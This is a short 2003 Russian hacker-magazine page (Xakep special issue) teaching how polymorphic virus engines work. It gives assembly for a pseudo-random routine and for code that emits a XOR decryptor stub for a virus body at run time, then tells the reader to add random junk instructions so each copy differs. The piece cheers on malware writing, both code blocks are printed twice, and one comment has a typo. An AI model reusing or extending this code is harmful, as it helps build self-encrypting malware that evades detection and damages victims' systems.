Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #35, ОКТЯБРЬ 2003 г.

Технология шифрования

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #035, стр. 035-036-4


Ты никогда не задумывался над тем, без чего не может обойтись ни один полиморфный движок? Конечно! Он не может обойтись без генератора [псевдо]случайных чисел. Тут сама собой напрашивается любимая функция rand(), но в ASM'е ее нет, поэтому придется изобретать что-нибудь свое. Хорошим вариантом является использование следующего кода:

rand:

in eax,40h

ret

rand:

in eax,40h

ret

Основная суть полиморфного движка состоит в том, чтобы генерировать код "на лету", "из ничего": мы можем записать код в какую-то специально отведенную для этого область памяти, а затем вызвать его. Примером тому может служить подобная реализация кода дешифровщика, который мы приводили выше:

lea edi,virus_address

mov al,0B9h ; опкод MOV ECX,imm32

stosb ; сохранить EAX, куда указывает EDI

mov eax,virus_size ; Число, которое нужно сохранить

stosd

mov al,0BFh ; опкод MOV EDI,offset32

stosb

mov eax,offset crypt ; 32-битное сохраняемое смещение

stosd

mov al,0B8h ; опкод MOV EAX,imm32

stosb

mov eax, crypt_key

stosd

mov ax,0731h ; опкод XOR [EDI],EAX

stosw

mov ax,0C783h ; опкод ADD EDI,imm32 (>7F)

stosw

mov al,04h ; Сохраняемый Imm32 (>7F)

stosb

mov ax,0F9E2h ; опкод LOOP _begin_loop

stosw

lea edi,virus_address

mov al,0B9h ; опкод MOV ECX,imm32

stosb ; сохранить EAX, куда указывает EDI

mov eax,virus_size ; Число, которое нужно сохранить

stosd

mov al,0BFh : опкод MOV EDI,offset32

stosb

mov eax,offset crypt ; 32-битное сохраняемое смещение

stosd

mov al,0B8h ; опкод MOV EAX,imm32

stosb

mov eax, crypt_key

stosd

mov ax,0731h ; опкод XOR [EDI],EAX

stosw

mov ax,0C783h ; опкод ADD EDI,imm32 (>7F)

stosw

mov al,04h ; Сохраняемый Imm32 (>7F)

stosb

mov ax,0F9E2h ; опкод LOOP _begin_loop

stosw

Несложно догадаться, что достаточно пары строчек кода, чтобы сделать этот код генератором полиморфного дешифровщика. Достаточно хотя бы добавить случайную вставку однобайтовых инструкций после каждого stos.

Я думаю, на этом небольшом примере можно понять, как работают полиморфные движки. Конечно, реально они гораздо сложнее: они используют различные регистры, передвижение частей кода и т.п. – но это уже зависит от твоего воображения и желания воплощать зло в ассемблерном коде :).

Назад на стр. 035-036-3  Содержание  Вперед на стр. 035-036-5